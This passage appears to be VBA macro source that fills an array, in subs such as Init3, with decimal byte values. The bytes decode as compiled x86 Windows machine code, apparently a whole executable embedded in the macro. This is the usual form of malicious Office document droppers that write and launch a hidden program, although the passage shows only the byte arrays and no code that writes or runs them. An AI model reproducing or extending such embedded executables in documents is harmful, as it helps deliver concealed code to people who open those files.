    a(80) = Array(195, 139, 255, 85, 139, 236, 255, 53, 120, 2, 65, 0, 255, 21, 152, 176, 64, 0, 133, 192, 116, 15, 255, 117, 8, 255, 208, 89, 133, 192, 116, 5, 51, 192, 64, 93, 195, 51, 192, 93, 195, 184, 128, 225, 64, 0, 195, 161, 160, 23, 65, 0, 86, 106, 20, 94, 133, 192, 117, 7, 184, 0, 2, 0, 0, 235, 6, 59, 198, 125, 7, 139, 198, 163, 160, 23, 65, 0, 106, 4, 80, 232, 37, 60, 0, 0, 89, 89, 163, 132, 7, 65, 0, 133, 192, 117, 30, 106, 4, 86, 137, 53, 160, 23, 65, 0, 232, 12, 60, 0, 0, 89, 89, 163, 132, 7, 65, 0, 133, 192, 117, 5, 106, 26, 88, 94, 195, 51)
    a(81) = Array(210, 185, 128, 225, 64, 0, 235, 5, 161, 132, 7, 65, 0, 137, 12, 2, 131, 193, 32, 131, 194, 4, 129, 249, 0, 228, 64, 0, 124, 234, 106, 254, 94, 51, 210, 185, 144, 225, 64, 0, 87, 139, 194, 193, 248, 5, 139, 4, 133, 128, 6, 65, 0, 139, 250, 131, 231, 31, 193, 231, 6, 139, 4, 7, 131, 248, 255, 116, 8, 59, 198, 116, 4, 133, 192, 117, 2, 137, 49, 131, 193, 32, 66, 129, 249, 240, 225, 64, 0, 124, 206, 95, 51, 192, 94, 195, 232, 116, 29, 0, 0, 128, 61, 64, 252, 64, 0, 0, 116, 5, 232, 34, 60, 0, 0, 255, 53, 132, 7, 65, 0, 232, 241, 236, 255, 255, 89, 195)
    a(82) = Array(139, 255, 85, 139, 236, 86, 139, 117, 8, 184, 128, 225, 64, 0, 59, 240, 114, 34, 129, 254, 224, 227, 64, 0, 119, 26, 139, 206, 43, 200, 193, 249, 5, 131, 193, 16, 81, 232, 190, 49, 0, 0, 129, 78, 12, 0, 128, 0, 0, 89, 235, 10, 131, 198, 32, 86, 255, 21, 172, 176, 64, 0, 94, 93, 195, 139, 255, 85, 139, 236, 139, 69, 8, 131, 248, 20, 125, 22, 131, 192, 16, 80, 232, 145, 49, 0, 0, 139, 69, 12, 129, 72, 12, 0, 128, 0, 0, 89, 93, 195, 139, 69, 12, 131, 192, 32, 80, 255, 21, 172, 176, 64, 0, 93, 195, 139, 255, 85, 139, 236, 139, 69, 8, 185, 128, 225, 64, 0)
    a(83) = Array(59, 193, 114, 31, 61, 224, 227, 64, 0, 119, 24, 129, 96, 12, 255, 127, 255, 255, 43, 193, 193, 248, 5, 131, 192, 16, 80, 232, 111, 48, 0, 0, 89, 93, 195, 131, 192, 32, 80, 255, 21, 176, 176, 64, 0, 93, 195, 139, 255, 85, 139, 236, 139, 77, 8, 139, 69, 12, 131, 249, 20, 125, 19, 129, 96, 12, 255, 127, 255, 255, 131, 193, 16, 81, 232, 64, 48, 0, 0, 89, 93, 195, 131, 192, 32, 80, 255, 21, 176, 176, 64, 0, 93, 195, 139, 255, 85, 139, 236, 131, 236, 16, 161, 48, 6, 65, 0, 51, 210, 83, 86, 139, 117, 12, 137, 69, 252, 137, 85, 244, 137, 85, 248, 137, 85, 240, 235, 3)
    a(84) = Array(131, 198, 2, 102, 131, 62, 32, 116, 247, 15, 183, 6, 131, 248, 97, 116, 48, 131, 248, 114, 116, 35, 131, 248, 119, 116, 23, 232, 114, 248, 255, 255, 199, 0, 22, 0, 0, 0, 232, 41, 5, 0, 0, 51, 192, 233, 97, 2, 0, 0, 187, 1, 3, 0, 0, 235, 13, 51, 219, 131, 77, 252, 1, 235, 9, 187, 9, 1, 0, 0, 131, 77, 252, 2, 131, 198, 2, 15, 183, 6, 51, 201, 65, 87, 102, 59, 194, 15, 132, 214, 1, 0, 0, 141, 121, 127, 186, 0, 64, 0, 0, 133, 201, 15, 132, 28, 1, 0, 0, 15, 183, 192, 131, 248, 83, 15, 143, 147, 0, 0, 0, 116, 127, 131, 232, 32, 15, 132)
    a(85) = Array(246, 0, 0, 0, 131, 232, 11, 116, 82, 72, 116, 67, 131, 232, 24, 116, 45, 131, 232, 10, 116, 33, 131, 232, 4, 15, 133, 161, 1, 0, 0, 57, 69, 248, 15, 133, 204, 0, 0, 0, 199, 69, 248, 1, 0, 0, 0, 131, 203, 16, 233, 195, 0, 0, 0, 11, 223, 233, 188, 0, 0, 0, 246, 195, 64, 15, 133, 173, 0, 0, 0, 131, 203, 64, 233, 171, 0, 0, 0, 199, 69, 240, 1, 0, 0, 0, 233, 153, 0, 0, 0, 246, 195, 2, 15, 133, 144, 0, 0, 0, 139, 69, 252, 131, 227, 254, 131, 224, 252, 131, 203, 2, 11, 199, 137, 69, 252, 233, 128, 0, 0, 0, 131, 125, 248, 0, 117, 116)
    a(86) = Array(199, 69, 248, 1, 0, 0, 0, 131, 203, 32, 235, 110, 131, 232, 84, 116, 90, 131, 232, 14, 116, 69, 72, 116, 48, 131, 232, 11, 116, 21, 131, 232, 6, 15, 133, 25, 1, 0, 0, 247, 195, 0, 192, 0, 0, 117, 69, 11, 218, 235, 71, 131, 125, 244, 0, 117, 59, 129, 101, 252, 255, 191, 255, 255, 199, 69, 244, 1, 0, 0, 0, 235, 49, 131, 125, 244, 0, 117, 37, 9, 85, 252, 199, 69, 244, 1, 0, 0, 0, 235, 31, 247, 195, 0, 192, 0, 0, 117, 17, 129, 203, 0, 128, 0, 0, 235, 15, 184, 0, 16, 0, 0, 133, 216, 116, 4, 51, 201, 235, 2, 11, 216, 131, 198, 2, 15, 183, 6)
    a(87) = Array(102, 133, 192, 15, 133, 220, 254, 255, 255, 131, 125, 240, 0, 15, 132, 160, 0, 0, 0, 106, 32, 95, 235, 3, 131, 198, 2, 102, 57, 62, 116, 248, 106, 3, 86, 104, 216, 190, 64, 0, 232, 39, 68, 0, 0, 131, 196, 12, 133, 192, 15, 133, 136, 0, 0, 0, 131, 198, 6, 235, 3, 131, 198, 2, 102, 57, 62, 116, 248, 102, 131, 62, 61, 117, 117, 131, 198, 2, 102, 57, 62, 116, 248, 106, 5, 104, 224, 190, 64, 0, 86, 232, 86, 67, 0, 0, 131, 196, 12, 133, 192, 117, 11, 131, 198, 10, 129, 203, 0, 0, 4, 0, 235, 65, 106, 8, 104, 236, 190, 64, 0, 86, 232, 55, 67, 0, 0, 131)
    a(88) = Array(196, 12, 133, 192, 117, 11, 131, 198, 16, 129, 203, 0, 0, 2, 0, 235, 34, 106, 7, 104, 0, 191, 64, 0, 86, 232, 24, 67, 0, 0, 131, 196, 12, 133, 192, 117, 27, 131, 198, 14, 129, 203, 0, 0, 1, 0, 235, 3, 131, 198, 2, 102, 131, 62, 32, 116, 247, 51, 255, 102, 57, 62, 116, 18, 232, 77, 246, 255, 255, 199, 0, 22, 0, 0, 0, 232, 4, 3, 0, 0, 235, 28, 104, 128, 1, 0, 0, 255, 117, 16, 141, 69, 12, 83, 255, 117, 8, 80, 232, 67, 65, 0, 0, 131, 196, 20, 133, 192, 116, 4, 51, 192, 235, 32, 139, 69, 20, 255, 5, 128, 2, 65, 0, 139, 77, 252, 137, 72)
    a(89) = Array(12, 139, 77, 12, 137, 120, 4, 137, 56, 137, 120, 8, 137, 120, 28, 137, 72, 16, 95, 94, 91, 201, 195, 106, 16, 104, 80, 206, 64, 0, 232, 205, 2, 0, 0, 51, 219, 51, 255, 137, 125, 228, 106, 1, 232, 55, 46, 0, 0, 89, 137, 93, 252, 51, 246, 137, 117, 224, 59, 53, 160, 23, 65, 0, 15, 141, 202, 0, 0, 0, 161, 132, 7, 65, 0, 141, 4, 176, 57, 24, 116, 91, 139, 0, 139, 64, 12, 168, 131, 117, 72, 169, 0, 128, 0, 0, 117, 65, 141, 70, 253, 131, 248, 16, 119, 18, 141, 70, 16, 80, 232, 51, 45, 0, 0, 89, 133, 192, 15, 132, 148, 0, 0, 0, 161, 132, 7, 65)
    a(90) = Array(0, 255, 52, 176, 86, 232, 55, 252, 255, 255, 89, 89, 161, 132, 7, 65, 0, 139, 4, 176, 246, 64, 12, 131, 116, 12, 80, 86, 232, 142, 252, 255, 255, 89, 89, 70, 235, 145, 139, 248, 137, 125, 228, 235, 99, 106, 56, 232, 2, 55, 0, 0, 89, 139, 13, 132, 7, 65, 0, 137, 4, 177, 59, 195, 116, 78, 104, 160, 15, 0, 0, 161, 132, 7, 65, 0, 139, 4, 176, 131, 192, 32, 80, 255, 21, 180, 176, 64, 0, 133, 192, 161, 132, 7, 65, 0, 117, 19, 255, 52, 176, 232, 133, 232, 255, 255, 89, 161, 132, 7, 65, 0, 137, 28, 176, 235, 27, 139, 4, 176, 131, 192, 32, 80, 255, 21, 172, 176)
End Sub

Private Sub Init3()
    a(91) = Array(64, 0, 161, 132, 7, 65, 0, 139, 60, 176, 137, 125, 228, 137, 95, 12, 59, 251, 116, 22, 129, 103, 12, 0, 128, 0, 0, 137, 95, 4, 137, 95, 8, 137, 31, 137, 95, 28, 131, 79, 16, 255, 199, 69, 252, 254, 255, 255, 255, 232, 11, 0, 0, 0, 139, 199, 232, 248, 1, 0, 0, 195, 139, 125, 228, 106, 1, 232, 71, 44, 0, 0, 89, 195, 139, 255, 85, 139, 236, 139, 69, 8, 163, 132, 2, 65, 0, 93, 195, 139, 255, 85, 139, 236, 129, 236, 40, 3, 0, 0, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 83, 139, 93, 8, 87, 131, 251, 255, 116, 7, 83, 232, 104, 43, 0, 0, 89, 131)
    a(92) = Array(165, 224, 252, 255, 255, 0, 106, 76, 141, 133, 228, 252, 255, 255, 106, 0, 80, 232, 10, 13, 0, 0, 141, 133, 224, 252, 255, 255, 137, 133, 216, 252, 255, 255, 141, 133, 48, 253, 255, 255, 131, 196, 12, 137, 133, 220, 252, 255, 255, 137, 133, 224, 253, 255, 255, 137, 141, 220, 253, 255, 255, 137, 149, 216, 253, 255, 255, 137, 157, 212, 253, 255, 255, 137, 181, 208, 253, 255, 255, 137, 189, 204, 253, 255, 255, 102, 140, 149, 248, 253, 255, 255, 102, 140, 141, 236, 253, 255, 255, 102, 140, 157, 200, 253, 255, 255, 102, 140, 133, 196, 253, 255, 255, 102, 140, 165, 192, 253, 255, 255, 102, 140, 173, 188, 253, 255, 255, 156)
    a(93) = Array(143, 133, 240, 253, 255, 255, 139, 69, 4, 141, 77, 4, 137, 141, 244, 253, 255, 255, 199, 133, 48, 253, 255, 255, 1, 0, 1, 0, 137, 133, 232, 253, 255, 255, 139, 73, 252, 137, 141, 228, 253, 255, 255, 139, 77, 12, 137, 141, 224, 252, 255, 255, 139, 77, 16, 137, 141, 228, 252, 255, 255, 137, 133, 236, 252, 255, 255, 255, 21, 132, 176, 64, 0, 106, 0, 139, 248, 255, 21, 128, 176, 64, 0, 141, 133, 216, 252, 255, 255, 80, 255, 21, 124, 176, 64, 0, 133, 192, 117, 16, 133, 255, 117, 12, 131, 251, 255, 116, 7, 83, 232, 115, 42, 0, 0, 89, 139, 77, 252, 95, 51, 205, 91, 232, 224, 230, 255, 255)
    a(94) = Array(201, 195, 139, 255, 86, 106, 1, 190, 23, 4, 0, 192, 86, 106, 2, 232, 197, 254, 255, 255, 131, 196, 12, 86, 255, 21, 120, 176, 64, 0, 80, 255, 21, 116, 176, 64, 0, 94, 195, 139, 255, 85, 139, 236, 255, 53, 132, 2, 65, 0, 255, 21, 152, 176, 64, 0, 133, 192, 116, 3, 93, 255, 224, 255, 117, 24, 255, 117, 20, 255, 117, 16, 255, 117, 12, 255, 117, 8, 232, 175, 255, 255, 255, 204, 51, 192, 80, 80, 80, 80, 80, 232, 199, 255, 255, 255, 131, 196, 20, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 104, 80, 59, 64, 0, 100, 255, 53, 0, 0, 0, 0, 139, 68, 36, 16)
    a(95) = Array(137, 108, 36, 16, 141, 108, 36, 16, 43, 224, 83, 86, 87, 161, 4, 224, 64, 0, 49, 69, 252, 51, 197, 80, 137, 101, 232, 255, 117, 248, 139, 69, 252, 199, 69, 252, 254, 255, 255, 255, 137, 69, 248, 141, 69, 240, 100, 163, 0, 0, 0, 0, 195, 139, 77, 240, 100, 137, 13, 0, 0, 0, 0, 89, 95, 95, 94, 91, 139, 229, 93, 81, 195, 204, 204, 204, 204, 204, 204, 204, 139, 255, 85, 139, 236, 131, 236, 24, 83, 139, 93, 12, 86, 139, 115, 8, 51, 53, 4, 224, 64, 0, 87, 139, 6, 198, 69, 255, 0, 199, 69, 244, 1, 0, 0, 0, 141, 123, 16, 131, 248, 254, 116, 13, 139, 78, 4, 3)
    a(96) = Array(207, 51, 12, 56, 232, 215, 229, 255, 255, 139, 78, 12, 139, 70, 8, 3, 207, 51, 12, 56, 232, 199, 229, 255, 255, 139, 69, 8, 246, 64, 4, 102, 15, 133, 25, 1, 0, 0, 139, 77, 16, 141, 85, 232, 137, 83, 252, 139, 91, 12, 137, 69, 232, 137, 77, 236, 131, 251, 254, 116, 95, 141, 73, 0, 141, 4, 91, 139, 76, 134, 20, 141, 68, 134, 16, 137, 69, 240, 139, 0, 137, 69, 248, 133, 201, 116, 20, 139, 215, 232, 244, 1, 0, 0, 198, 69, 255, 1, 133, 192, 120, 64, 127, 71, 139, 69, 248, 139, 216, 131, 248, 254, 117, 206, 128, 125, 255, 0, 116, 36, 139, 6, 131, 248, 254, 116, 13, 139)
    a(97) = Array(78, 4, 3, 207, 51, 12, 56, 232, 84, 229, 255, 255, 139, 78, 12, 139, 86, 8, 3, 207, 51, 12, 58, 232, 68, 229, 255, 255, 139, 69, 244, 95, 94, 91, 139, 229, 93, 195, 199, 69, 244, 0, 0, 0, 0, 235, 201, 139, 77, 8, 129, 57, 99, 115, 109, 224, 117, 41, 131, 61, 128, 7, 65, 0, 0, 116, 32, 104, 128, 7, 65, 0, 232, 179, 46, 0, 0, 131, 196, 4, 133, 192, 116, 15, 139, 85, 8, 106, 1, 82, 255, 21, 128, 7, 65, 0, 131, 196, 8, 139, 77, 12, 139, 85, 8, 232, 148, 1, 0, 0, 139, 69, 12, 57, 88, 12, 116, 18, 104, 4, 224, 64, 0, 87, 139, 211, 139, 200)
    a(98) = Array(232, 150, 1, 0, 0, 139, 69, 12, 139, 77, 248, 137, 72, 12, 139, 6, 131, 248, 254, 116, 13, 139, 78, 4, 3, 207, 51, 12, 56, 232, 190, 228, 255, 255, 139, 78, 12, 139, 86, 8, 3, 207, 51, 12, 58, 232, 174, 228, 255, 255, 139, 69, 240, 139, 72, 8, 139, 215, 232, 42, 1, 0, 0, 186, 254, 255, 255, 255, 57, 83, 12, 15, 132, 79, 255, 255, 255, 104, 4, 224, 64, 0, 87, 139, 203, 232, 65, 1, 0, 0, 233, 25, 255, 255, 255, 204, 83, 86, 87, 139, 84, 36, 16, 139, 68, 36, 20, 139, 76, 36, 24, 85, 82, 80, 81, 81, 104, 112, 61, 64, 0, 100, 255, 53, 0, 0, 0, 0)
    a(99) = Array(161, 4, 224, 64, 0, 51, 196, 137, 68, 36, 8, 100, 137, 37, 0, 0, 0, 0, 139, 68, 36, 48, 139, 88, 8, 139, 76, 36, 44, 51, 25, 139, 112, 12, 131, 254, 254, 116, 59, 139, 84, 36, 52, 131, 250, 254, 116, 4, 59, 242, 118, 46, 141, 52, 118, 141, 92, 179, 16, 139, 11, 137, 72, 12, 131, 123, 4, 0, 117, 204, 104, 1, 1, 0, 0, 139, 67, 8, 232, 82, 63, 0, 0, 185, 1, 0, 0, 0, 139, 67, 8, 232, 100, 63, 0, 0, 235, 176, 100, 143, 5, 0, 0, 0, 0, 131, 196, 24, 95, 94, 91, 195, 139, 76, 36, 4, 247, 65, 4, 6, 0, 0, 0, 184, 1, 0, 0, 0)
    a(100) = Array(116, 51, 139, 68, 36, 8, 139, 72, 8, 51, 200, 232, 208, 227, 255, 255, 85, 139, 104, 24, 255, 112, 12, 255, 112, 16, 255, 112, 20, 232, 62, 255, 255, 255, 131, 196, 12, 93, 139, 68, 36, 8, 139, 84, 36, 16, 137, 2, 184, 3, 0, 0, 0, 195, 85, 139, 76, 36, 8, 139, 41, 255, 113, 28, 255, 113, 24, 255, 113, 40, 232, 21, 255, 255, 255, 131, 196, 12, 93, 194, 4, 0, 85, 86, 87, 83, 139, 234, 51, 192, 51, 219, 51, 210, 51, 246, 51, 255, 255, 209, 91, 95, 94, 93, 195, 139, 234, 139, 241, 139, 193, 106, 1, 232, 175, 62, 0, 0, 51, 192, 51, 219, 51, 201, 51, 210, 51, 255)
    a(101) = Array(255, 230, 85, 139, 236, 83, 86, 87, 106, 0, 82, 104, 22, 62, 64, 0, 81, 232, 222, 99, 0, 0, 95, 94, 91, 93, 195, 85, 139, 108, 36, 8, 82, 81, 255, 116, 36, 20, 232, 181, 254, 255, 255, 131, 196, 12, 93, 194, 8, 0, 139, 255, 85, 139, 236, 86, 139, 117, 8, 133, 246, 117, 21, 232, 206, 239, 255, 255, 199, 0, 22, 0, 0, 0, 232, 133, 252, 255, 255, 233, 250, 0, 0, 0, 139, 70, 12, 168, 131, 15, 132, 239, 0, 0, 0, 168, 64, 15, 133, 231, 0, 0, 0, 168, 2, 116, 11, 131, 200, 32, 137, 70, 12, 233, 216, 0, 0, 0, 131, 200, 1, 137, 70, 12, 169, 12, 1, 0)
    a(102) = Array(0, 117, 9, 86, 232, 62, 62, 0, 0, 89, 235, 5, 139, 70, 8, 137, 6, 255, 118, 24, 255, 118, 8, 86, 232, 100, 7, 0, 0, 89, 80, 232, 103, 6, 0, 0, 131, 196, 12, 137, 70, 4, 133, 192, 15, 132, 139, 0, 0, 0, 131, 248, 255, 15, 132, 130, 0, 0, 0, 246, 70, 12, 130, 117, 81, 86, 232, 58, 7, 0, 0, 89, 131, 248, 255, 116, 48, 86, 232, 46, 7, 0, 0, 89, 131, 248, 254, 116, 36, 87, 86, 232, 33, 7, 0, 0, 193, 248, 5, 86, 141, 60, 133, 128, 6, 65, 0, 232, 17, 7, 0, 0, 131, 224, 31, 89, 193, 224, 6, 3, 7, 89, 95, 235, 5, 184, 0, 229)
    a(103) = Array(64, 0, 138, 64, 4, 36, 130, 60, 130, 117, 7, 129, 78, 12, 0, 32, 0, 0, 129, 126, 24, 0, 2, 0, 0, 117, 21, 139, 70, 12, 168, 8, 116, 14, 169, 0, 4, 0, 0, 117, 7, 199, 70, 24, 0, 16, 0, 0, 139, 14, 255, 78, 4, 15, 182, 1, 65, 137, 14, 235, 20, 247, 216, 27, 192, 131, 224, 16, 131, 192, 16, 9, 70, 12, 131, 102, 4, 0, 131, 200, 255, 94, 93, 195, 139, 255, 85, 139, 236, 131, 236, 28, 139, 85, 16, 86, 139, 117, 8, 106, 254, 88, 137, 69, 236, 137, 85, 228, 59, 240, 117, 27, 232, 176, 238, 255, 255, 131, 32, 0, 232, 149, 238, 255, 255, 199, 0, 9)
    a(104) = Array(0, 0, 0, 131, 200, 255, 233, 125, 5, 0, 0, 83, 51, 219, 59, 243, 124, 8, 59, 53, 104, 6, 65, 0, 114, 31, 232, 134, 238, 255, 255, 137, 24, 232, 108, 238, 255, 255, 199, 0, 9, 0, 0, 0, 232, 35, 251, 255, 255, 131, 200, 255, 233, 78, 5, 0, 0, 139, 198, 193, 248, 5, 87, 131, 230, 31, 141, 60, 133, 128, 6, 65, 0, 139, 7, 193, 230, 6, 138, 76, 48, 4, 246, 193, 1, 117, 20, 232, 73, 238, 255, 255, 137, 24, 232, 47, 238, 255, 255, 199, 0, 9, 0, 0, 0, 235, 104, 129, 250, 255, 255, 255, 127, 119, 78, 137, 93, 244, 59, 211, 15, 132, 6, 5, 0, 0, 246, 193)
    a(105) = Array(2, 15, 133, 253, 4, 0, 0, 57, 93, 12, 116, 53, 138, 68, 48, 36, 2, 192, 208, 248, 136, 69, 254, 15, 190, 192, 72, 106, 4, 89, 116, 25, 72, 117, 14, 139, 194, 247, 208, 168, 1, 116, 22, 131, 226, 254, 137, 85, 16, 139, 93, 12, 137, 93, 240, 235, 122, 139, 194, 247, 208, 168, 1, 117, 25, 232, 223, 237, 255, 255, 137, 24, 232, 197, 237, 255, 255, 199, 0, 22, 0, 0, 0, 232, 124, 250, 255, 255, 235, 54, 139, 194, 209, 232, 137, 77, 16, 59, 193, 114, 3, 137, 69, 16, 255, 117, 16, 232, 70, 47, 0, 0, 139, 216, 89, 137, 93, 240, 133, 219, 117, 30, 232, 147, 237, 255, 255, 199)
    a(106) = Array(0, 12, 0, 0, 0, 232, 155, 237, 255, 255, 199, 0, 8, 0, 0, 0, 131, 200, 255, 233, 110, 4, 0, 0, 106, 1, 106, 0, 106, 0, 255, 117, 8, 232, 106, 60, 0, 0, 139, 15, 137, 68, 14, 40, 131, 196, 16, 137, 84, 14, 44, 139, 15, 3, 206, 246, 65, 4, 72, 139, 195, 116, 122, 138, 73, 5, 128, 249, 10, 116, 114, 131, 125, 16, 0, 116, 108, 255, 77, 16, 128, 125, 254, 0, 136, 11, 139, 15, 141, 67, 1, 199, 69, 244, 1, 0, 0, 0, 198, 68, 14, 5, 10, 116, 80, 139, 15, 138, 76, 14, 37, 128, 249, 10, 116, 69, 131, 125, 16, 0, 116, 63, 136, 8, 139, 15, 64, 255)
    a(107) = Array(77, 16, 128, 125, 254, 1, 199, 69, 244, 2, 0, 0, 0, 198, 68, 14, 37, 10, 117, 37, 139, 15, 138, 76, 14, 38, 128, 249, 10, 116, 26, 131, 125, 16, 0, 116, 20, 136, 8, 139, 15, 64, 255, 77, 16, 199, 69, 244, 3, 0, 0, 0, 198, 68, 14, 38, 10, 106, 0, 141, 77, 232, 81, 255, 117, 16, 80, 139, 7, 255, 52, 6, 255, 21, 192, 176, 64, 0, 133, 192, 15, 132, 120, 3, 0, 0, 139, 77, 232, 133, 201, 15, 136, 109, 3, 0, 0, 59, 77, 16, 15, 135, 100, 3, 0, 0, 139, 7, 1, 77, 244, 141, 68, 6, 4, 246, 0, 128, 15, 132, 228, 1, 0, 0, 128, 125, 254, 2)
    a(108) = Array(15, 132, 20, 2, 0, 0, 133, 201, 116, 10, 128, 59, 10, 117, 5, 128, 8, 4, 235, 3, 128, 32, 251, 139, 93, 240, 139, 69, 244, 3, 195, 137, 93, 16, 137, 69, 244, 59, 216, 15, 131, 209, 0, 0, 0, 139, 77, 16, 138, 1, 60, 26, 15, 132, 175, 0, 0, 0, 60, 13, 116, 12, 136, 3, 67, 65, 137, 77, 16, 233, 145, 0, 0, 0, 139, 69, 244, 72, 59, 200, 115, 24, 141, 65, 1, 128, 56, 10, 117, 11, 131, 193, 2, 137, 77, 16, 198, 3, 10, 235, 117, 137, 69, 16, 235, 109, 255, 69, 16, 106, 0, 141, 69, 232, 80, 106, 1, 141, 69, 255, 80, 139, 7, 255, 52, 6, 255, 21)
    a(109) = Array(192, 176, 64, 0, 133, 192, 117, 10, 255, 21, 16, 176, 64, 0, 133, 192, 117, 69, 131, 125, 232, 0, 116, 63, 139, 7, 246, 68, 6, 4, 72, 116, 20, 128, 125, 255, 10, 116, 185, 198, 3, 13, 139, 7, 138, 77, 255, 136, 76, 6, 5, 235, 37, 59, 93, 240, 117, 6, 128, 125, 255, 10, 116, 160, 106, 1, 106, 255, 106, 255, 255, 117, 8, 232, 194, 58, 0, 0, 131, 196, 16, 128, 125, 255, 10, 116, 4, 198, 3, 13, 67, 139, 69, 244, 57, 69, 16, 15, 130, 70, 255, 255, 255, 235, 21, 139, 7, 141, 68, 6, 4, 246, 0, 64, 117, 5, 128, 8, 2, 235, 5, 138, 1, 136, 3, 67, 139, 195)
    a(110) = Array(43, 69, 240, 128, 125, 254, 1, 137, 69, 244, 15, 133, 208, 0, 0, 0, 133, 192, 15, 132, 200, 0, 0, 0, 75, 138, 11, 132, 201, 120, 6, 67, 233, 134, 0, 0, 0, 51, 192, 64, 15, 182, 201, 235, 15, 131, 248, 4, 127, 19, 59, 93, 240, 114, 14, 75, 15, 182, 11, 64, 128, 185, 0, 228, 64, 0, 0, 116, 232, 138, 19, 15, 182, 202, 15, 190, 137, 0, 228, 64, 0, 133, 201, 117, 13, 232, 56, 235, 255, 255, 199, 0, 42, 0, 0, 0, 235, 122, 65, 59, 200, 117, 4, 3, 216, 235, 64, 139, 15, 246, 68, 49, 4, 72, 116, 37, 67, 136, 84, 49, 5, 131, 248, 2, 124, 9, 138, 19)
    a(111) = Array(139, 15, 136, 84, 14, 37, 67, 131, 248, 3, 117, 9, 138, 19, 139, 15, 136, 84, 14, 38, 67, 43, 216, 235, 18, 247, 216, 153, 106, 1, 82, 80, 255, 117, 8, 232, 232, 57, 0, 0, 131, 196, 16, 139, 69, 228, 43, 93, 240, 209, 232, 80, 255, 117, 12, 83, 255, 117, 240, 106, 0, 104, 233, 253, 0, 0, 255, 21, 188, 176, 64, 0, 137, 69, 244, 133, 192, 117, 52, 255, 21, 16, 176, 64, 0, 80, 232, 221, 234, 255, 255, 89, 131, 77, 236, 255, 139, 69, 240, 59, 69, 12, 116, 7, 80, 232, 1, 222, 255, 255, 89, 139, 69, 236, 131, 248, 254, 15, 133, 139, 1, 0, 0, 139, 69, 244, 233, 131)
    a(112) = Array(1, 0, 0, 139, 69, 244, 139, 23, 51, 201, 59, 195, 15, 149, 193, 3, 192, 137, 69, 244, 137, 76, 22, 48, 235, 198, 133, 201, 116, 11, 102, 131, 59, 10, 117, 5, 128, 8, 4, 235, 3, 128, 32, 251, 139, 93, 240, 139, 69, 244, 3, 195, 137, 93, 16, 137, 69, 244, 59, 216, 15, 131, 1, 1, 0, 0, 139, 69, 16, 15, 183, 8, 131, 249, 26, 15, 132, 217, 0, 0, 0, 131, 249, 13, 116, 17, 102, 137, 11, 131, 195, 2, 131, 192, 2, 137, 69, 16, 233, 181, 0, 0, 0, 139, 77, 244, 131, 193, 254, 59, 193, 115, 30, 141, 72, 2, 102, 131, 57, 10, 117, 13, 131, 192, 4, 137, 69, 16)
    a(113) = Array(106, 10, 233, 142, 0, 0, 0, 137, 77, 16, 233, 132, 0, 0, 0, 131, 69, 16, 2, 106, 0, 141, 69, 232, 80, 106, 2, 141, 69, 248, 80, 139, 7, 255, 52, 6, 255, 21, 192, 176, 64, 0, 133, 192, 117, 10, 255, 21, 16, 176, 64, 0, 133, 192, 117, 91, 131, 125, 232, 0, 116, 85, 139, 7, 246, 68, 6, 4, 72, 116, 40, 102, 131, 125, 248, 10, 116, 178, 106, 13, 88, 102, 137, 3, 139, 7, 138, 77, 248, 136, 76, 6, 5, 139, 7, 138, 77, 249, 136, 76, 6, 37, 139, 7, 198, 68, 6, 38, 10, 235, 42, 59, 93, 240, 117, 7, 102, 131, 125, 248, 10, 116, 133, 106, 1, 106, 255, 106)
    a(114) = Array(254, 255, 117, 8, 232, 135, 56, 0, 0, 131, 196, 16, 102, 131, 125, 248, 10, 116, 9, 106, 13, 88, 102, 137, 3, 131, 195, 2, 139, 69, 244, 57, 69, 16, 15, 130, 26, 255, 255, 255, 235, 25, 139, 15, 141, 116, 14, 4, 246, 6, 64, 117, 5, 128, 14, 2, 235, 9, 102, 139, 0, 102, 137, 3, 131, 195, 2, 43, 93, 240, 137, 93, 244, 233, 146, 254, 255, 255, 255, 21, 16, 176, 64, 0, 106, 5, 94, 59, 198, 117, 23, 232, 50, 233, 255, 255, 199, 0, 9, 0, 0, 0, 232, 58, 233, 255, 255, 137, 48, 233, 106, 254, 255, 255, 131, 248, 109, 15, 133, 90, 254, 255, 255, 131, 101, 236, 0, 233)
    a(115) = Array(92, 254, 255, 255, 51, 192, 95, 91, 94, 201, 195, 106, 16, 104, 112, 206, 64, 0, 232, 217, 245, 255, 255, 139, 93, 8, 131, 251, 254, 117, 27, 232, 1, 233, 255, 255, 131, 32, 0, 232, 230, 232, 255, 255, 199, 0, 9, 0, 0, 0, 131, 200, 255, 233, 182, 0, 0, 0, 133, 219, 120, 8, 59, 29, 104, 6, 65, 0, 114, 26, 232, 218, 232, 255, 255, 131, 32, 0, 232, 191, 232, 255, 255, 199, 0, 9, 0, 0, 0, 232, 118, 245, 255, 255, 235, 210, 139, 195, 193, 248, 5, 141, 60, 133, 128, 6, 65, 0, 139, 243, 131, 230, 31, 193, 230, 6, 139, 7, 15, 190, 68, 48, 4, 131, 224, 1, 116, 198)
    a(116) = Array(184, 255, 255, 255, 127, 59, 69, 16, 27, 192, 64, 117, 21, 232, 147, 232, 255, 255, 131, 32, 0, 232, 120, 232, 255, 255, 199, 0, 22, 0, 0, 0, 235, 183, 83, 232, 71, 58, 0, 0, 89, 131, 101, 252, 0, 139, 7, 246, 68, 48, 4, 1, 116, 20, 255, 117, 16, 255, 117, 12, 83, 232, 146, 249, 255, 255, 131, 196, 12, 137, 69, 228, 235, 23, 232, 67, 232, 255, 255, 199, 0, 9, 0, 0, 0, 232, 75, 232, 255, 255, 131, 32, 0, 131, 77, 228, 255, 199, 69, 252, 254, 255, 255, 255, 232, 12, 0, 0, 0, 139, 69, 228, 232, 64, 245, 255, 255, 195, 139, 93, 8, 83, 232, 143, 58, 0, 0, 89)
    a(117) = Array(195, 139, 255, 85, 139, 236, 139, 69, 8, 133, 192, 117, 21, 232, 0, 232, 255, 255, 199, 0, 22, 0, 0, 0, 232, 183, 244, 255, 255, 131, 200, 255, 93, 195, 139, 64, 16, 93, 195, 139, 255, 85, 139, 236, 86, 139, 117, 20, 133, 246, 117, 4, 51, 192, 235, 97, 131, 125, 8, 0, 117, 19, 232, 207, 231, 255, 255, 106, 22, 94, 137, 48, 232, 135, 244, 255, 255, 139, 198, 235, 72, 131, 125, 16, 0, 116, 22, 57, 117, 12, 114, 17, 86, 255, 117, 16, 255, 117, 8, 232, 136, 11, 0, 0, 131, 196, 12, 235, 199, 255, 117, 12, 106, 0, 255, 117, 8, 232, 38, 0, 0, 0, 131, 196, 12, 131, 125, 16)
